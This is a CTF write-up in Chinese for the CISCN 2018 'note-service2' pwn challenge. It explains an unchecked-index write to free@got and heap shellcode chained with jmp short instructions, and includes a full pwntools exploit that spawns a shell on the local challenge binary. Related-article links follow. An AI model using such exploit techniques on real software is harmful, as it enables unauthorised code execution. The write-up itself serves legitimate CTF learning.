CISCN-2018-Quals-note-service2
CISCN-2018-Quals-note-service2
总结
做完这道题,收获如下:
- 1)汇编语句
jmp short s
,最后编译出来的机器码为\xEB\x??
,问号代表pc
寄存器会往前或往后跳转x
个字节,x
的范围为-128~127
。要从??
结束后算起。正数往前跳,负数往回跳。 - 2)修改某个函数的
got
表地址后,可以将目标地址填充为一段shellcode
,如果是在堆上,那么需要借助jmp short
指令。算好偏移。 - 3)
mov rsi, 0
比xor rsi, rsi
要长,尽量用后面的。 - 4)
mov rax, 0x3b
比mov eax, 0x3b
要长,如果长度有限制就用后面的。
Checksec
发现关闭了NX,可能要利用shellcode。
题目分析
首先把附件放在IDA中打开,发现是个菜单题:
main:
sub_E30:
menu:
add_note:
可以看到,没有检查idx是否合法,可以在任意地址写一个对地址。
注意:如果申请的大小为8,最多只能写7个字节。
delete_note:
选项2和选项3并没有什么用。
由于程序关闭了堆栈不可执行,因此可以考虑修改某一个函数got表的内容为堆地址,在堆上写shellcode。
解题思路
尝试的解题思路
发现有
UAF
漏洞,看能不能从UAF
入手,泄露出libc
的基地址或程序的基地址。然后,一顿思考后,发现程序没有edit
,没有show
,还只让输入8
个字节,这就有点难搞。所以这个思路不太行。由于在
add_note
中,没有校验输入的idx
,所以是可以修改func@got
的内容的,填充为一个堆地址。但是只让写7
个字节,啥shellcode
会这么短啊······谷歌后,发现一个gadget
叫jmp short
,可以拼接跳转执行,再加上一些滑板指令,就能拼凑出完整的shellcode
。这里需要注意,只让写
7
个字节,所以指令的机器码不能太长,用xor
代替mov
,用mov eax, 0x3b
代替mov rax , 0x3b
。还有jmp short
的机器码是\xEB
,后面直接接一个偏移。偏移要算上后面的8
个字节,加上下一个chunk
的pre_size
和size
,所以一共是1+8+8+8=0x19
。也就是说前面填满5
个字节,接一个\xEB\x19
即可。
最终解题思路
- 1)申请一块内存大小为8,内容
/bin/sh
- 2)修改
free@got
的内容为堆地址 - 3)利用
jmp short s
往连续的几块chunk
写入shellcode
,shellcode
为执行execve
的系统调用。除去pop rdi; ret
。因为free(ptr)
,会自动mov rdi, ptr
。 - 4)调用
delete_note
,释放前面的/bin/sh
的内存块
编写EXP
首先把函数写好:
def add_note(idx:int, size:int, content:bytes=b'\x00'):
global io
io.sendlineafter("your choice>> ", '1')
io.sendlineafter("index:", str(idx))
io.sendlineafter("size:", str(size))
io.sendlineafter("content:", content)
def delete_note(idx:int):
global io
io.sendlineafter("your choice>> ", '4')
io.sendlineafter("index:", str(idx))
首先分配一块带有/bin/sh
的,预备调用。然后,往索引为-17
处分配,修改free@got
的内容为堆地址,顺便写上一条shellcode
,xor rsi, rsi
。这里选用\x0c
作为滑板指令。
add_note(0, 8, b'/bin/sh')
add_note(-17 , 8, asm('xor rsi, rsi') + b'\x0C\x0C\xEB\x19')
-17
的计算是这样的:
可以看到,free@got
的偏移为0x202018
,题目中存储堆地址起始位置为0x2020a0
,所以索引就是(0x202018 - 0x2020a0) // 8 = -17
。
这里给出申请前后free@got
的内容变化:
申请前:
申请后:
可以看到,free@got
已修改成功,同时写上了xor rsi,rsi; \x0c\x0c\xeb\x19
。
然后继续写:
add_note(1, 8, asm('xor rdx, rdx') + b'\x0C\x0C\xEB\x19')
add_note(2, 8, asm('mov eax, 59') + b'\xEB\x19')
add_note(4, 8, asm('syscall'))
之后就会:
最后:
delete_note(0) # get shell
完整exp
from pwn import *
io = process('./note')
context.update(arch='amd64', os='linux', endian='little')
def add_note(idx:int, size:int, content:bytes=b'\x00'):
global io
io.sendlineafter("your choice>> ", '1')
io.sendlineafter("index:", str(idx))
io.sendlineafter("size:", str(size))
io.sendlineafter("content:", content)
def delete_note(idx:int):
global io
io.sendlineafter("your choice>> ", '4')
io.sendlineafter("index:", str(idx))
# 利用 jmp short s指令写shellcode
# 修改free@got处地址为堆地址
add_note(0, 8, b'/bin/sh')
add_note(-17 , 8, asm('xor rsi, rsi') + b'\x0C\x0C\xEB\x19')
add_note(1, 8, asm('xor rdx, rdx') + b'\x0C\x0C\xEB\x19')
add_note(2, 8, asm('mov eax, 59') + b'\xEB\x19')
add_note(4, 8, asm('syscall'))
delete_note(0)
io.interactive()
CISCN-2018-Quals-note-service2的更多相关文章
- Google Capture The Flag 2018 (Quals) - Reverse - Beginner's Quest - Gatekeeper
参考链接:https://ctftime.org/task/6264 题目 It's a media PC! All fully purchased through the online subscr ...
- Google Capture The Flag 2018 (Quals) - Beginner's Quest - Reverse - Firmware
参考链接:https://ctftime.org/task/6263 题目 After unpacking the firmware archive, you now have a binary in ...
- OpenStack 2018 年终盘点
目录 文章目录 目录 前言 OpenStack 一年来的成长 Nova Cinder Neutron Ironic Cyborg Octavia Kolla Magnum Zun Kuryr 从 Op ...
- CTF各种资源:题目、工具、资料
目录 题目汇总 Reverse 签到题 Web Web中等难度 Crypto 基础网站 各类工具 综合 Web Payloads 逆向 Pwn 取证 题目汇总 这里收集了我做过的CTF题目 Rever ...
- 2018 CISCN reverse wp
2018 CISCN reverse wp 这题比赛的时候没做出来,主要是心态崩了看不下去..赛后看了下网上的wp发现不难,是自己想复杂了.这里将我的思路和exp放出来,希望大家一起交流学习. mai ...
- 【2018.10.2】Note of CXM
1.有一张无向图,现在要给每个点染上黑色或白色,最后每个点的染色代价是它与离这个点最近的不同色节点的距离.求最小代价.所有边权$\geq 0$且互不相同. 分三种情况: 两点都染了色:两点都跟其它点算 ...
- Note | Git
目录 1. 出发 A. 安装 B. 设置机器身份 C. 创建版本(仓)库 repository D. 可管理文件 2. 基础操作 A. 添加文件至仓库 B. 修改文件并查看修改 C. 查看历史变动 D ...
- ACM-ICPC 2018 南京赛区网络预赛 E题
ACM-ICPC 2018 南京赛区网络预赛 E题 题目链接: https://nanti.jisuanke.com/t/30994 Dlsj is competing in a contest wi ...
- BlackHat Arsenal USA 2018 ToolsWatch黑客工具库
原文链接:https://medium.com/hack-with-github/black-hat-arsenal-usa-2018-the-w0w-lineup-7de9b6d32796 Blac ...
- 日常英语---七、[Updated November 14 at 4:10 PM PST] Scheduled Game Update - November 14, 2018(n.标准)
日常英语---七.[Updated November 14 at 4:10 PM PST] Scheduled Game Update - November 14, 2018(n.标准) 一.总结 一 ...
随机推荐
- CF1466-C. Canine poetry
CF1466-C. Canine poetry 题意: 给出一个字符串,这个字符串里面可能会包含多个回文子字符串.现在你可以任意修改这个字符串中的任意一个字符任意次数,问你最少多少操作数之后这个字符串 ...
- python之字符串方法upper/lower
1.描述: upper():用于将字符串全部转换为大写字母 lower():用于将字符串全部转换为小写字母 2.语法 str.upper() str.lower() 3.返回值 upper()或low ...
- woj1010 alternate sum 数学 woj1011 Finding Teamates 数学
title: woj1010 alternate sum 数学 date: 2020-03-10 categories: acm tags: [acm,woj,数学] 一道数学题.简单. 题意 给一个 ...
- pillow KeyError: 'WEBP'
描述 使用pillow库jpg转到webp报错 File "F:\Anaconda\lib\site-packages\PIL\Image.py", line 1983, in s ...
- git命令简写配置
在使用git工具时,有些命令比较常用,为了加快输入速度,可以自定义一些简写配置,如下所示: git st # git status git ci # git commit git br # git b ...
- IP的地址的划分
IP地址的划分是计算机网络中很重要的一个知识点,曾经考过三级,但是长时间不用就会忘掉,现在重新将IP的地址划分整理一遍. 首先IP地址的编址方法经历了三个阶段:分类的IP地址.子网的划分.构成超网 我 ...
- OpenCV3.2+Python3.5+Ubuntu16.04+缺少boostdesc和vgg_generated
问题: OpenCV3.2在cmake通过https无法获取boostdesc和vgg_generated2类文件 可尝试的解决方法: 参考, 依其方法至这里做调整, 最后注释xfeatures2d/ ...
- we have a problem with promise
we have a problem with promise Q: What is the difference between these four promises? doSomething() ...
- GitHub user language statistics
GitHub user language statistics 2020 https://madnight.github.io/githut/#/pull_requests/2020/2 2011 ~ ...
- modal 弹框遮罩层,滚动穿透bug 解决方案
modal 弹框遮罩层,滚动穿透bug 解决方案 parent component 动态设置 lock css const computedClassName = classNames( 'activ ...